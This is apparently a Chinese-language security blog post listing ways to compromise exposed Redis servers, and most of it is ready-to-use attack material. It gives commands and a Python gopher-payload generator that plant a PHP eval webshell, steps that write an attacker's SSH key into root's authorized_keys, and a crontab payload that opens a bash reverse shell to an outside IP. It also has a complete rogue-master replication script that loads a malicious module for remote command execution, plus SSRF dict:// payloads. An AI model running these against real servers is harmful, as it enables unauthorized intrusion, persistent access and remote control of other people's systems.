目录

  1. 1. 前言
  2. 2. 利用条件
  3. 3. 写shell
  4. 4. 未授权访问写ssh公钥
  5. 5. 利用contrab计划任务反弹shell
  6. 6. 主从复制RCE
    1. 6.1. 主从复制
    2. 6.2. Redis module
    3. 6.3. 攻击流程
    4. 6.4. 某exp
  7. 7. SSRF

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Redis漏洞

2024/5/8 Web Redis
  |     |   总文章阅读量:

前言

参考:

https://xz.aliyun.com/t/5665

https://cloud.tencent.com/developer/article/1904134

https://cloud.tencent.com/developer/article/1039000


利用条件

能未授权或者能通过弱口令认证等方式访问到 Redis 服务器


写shell

条件:

  • root权限启动redis
  • 需要知道绝对路径
  • 具有文件读写增删改查权限

构造redis命令:

redis-cli -h 127.0.0.1:6379     # 连接Redis
config set dir /var/www/html    # 设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("cmd"))?>\n\n\n"         # 写入一句话木马到g1ts键
save

转化为redis RESP协议的格式的脚本,一般配合gopher协议使用:

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

未授权访问写ssh公钥

条件:

  • Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

先本地产生公私钥文件:

ssh-keygen –t rsa
(echo -e "  "; cat id_rsa.pub; echo -e "  ") > foo.txt
cat foo.txt

把得到的私钥填进payload:(写入的目录不限于 /root/.ssh 下的 authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤)

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

然后把前面的python脚本改一下:

filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"

即可远程利用自己的私钥登录服务器


利用contrab计划任务反弹shell

条件:

只能在 Centos 上使用,Ubuntu上用不了,原因:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

  • Centos的定时任务文件在/var/spool/cron/<username>

  • Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

  • Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

payload:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

同样修改python脚本:

reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"

主从复制RCE

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。

前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis

image-20240509110225719

建立主从复制,有3种方式:(建立主从关系只需要在从节点操作就行了,主节点不用任何操作

  1. 配置文件写入:slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入:--slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

本地测试:

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380

redis-server
redis-server D:\Redis\Redis-x64-5.0.14.1\redis6380.conf

把 master_ip 设置为127.0.0.1,master_port 为6380

redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit

redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit

redis-cli -p 6379
127.0.0.1:6379> get test
"test"

可以看到数据达到了同步效果,如果我们想解除主从关系可以执行SLAVEOF NO ONE


Redis module

Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能

Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中

恶意so文件:https://github.com/n0b0dyCN/redis-rogue-server

python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so 

有两种模式,一种是交互式shell,一种是反弹shell


攻击流程

  1. 配置一个我们需要以master身份给slave传输so文件的服务

    PING 测试连接是否可用
    +PONG 告诉slave连接可用
    REPLCONF 发送REPLCONF信息,主要是当前实例监听端口
    +OK 告诉slave成功接受
    REPLCONF 发送REPLCONF capa
    +OK 告诉slave成功接受
    PSYNC <rundi> <offest> 发送PSYNC
  2. 将要攻击的redis服务器设置成我们的slave

       SLAVEOF ip port
    
    3. 设置RDB文件(注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用`config set dir path`)
    
       ```redis
       config set dbfilename exp.so
    
    4. 告诉slave使用全量复制并从我们配置的Rouge Server接收module(其中`<runid>`无要求,不过长度一般为40,`<offest>`一般设置为1)
    
       ```redis
       +FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>

某exp

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)

SSRF

  • root启用redis
  • 目标机存在dict协议
  • 知道网站绝对路径

假设ssrf的点在ssrf.php

ssrf.php?var=dict://192.168.200.38:6379/flushall 

主从复制写入

ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379

设置保存目录

ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html 

设置保存文件名称

ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php 

本地写文件:

redis-cli
set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n" 

远程保存:

ssrf.php?url=dict://192.168.200.38:6379/save 

切断主从复制:

ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one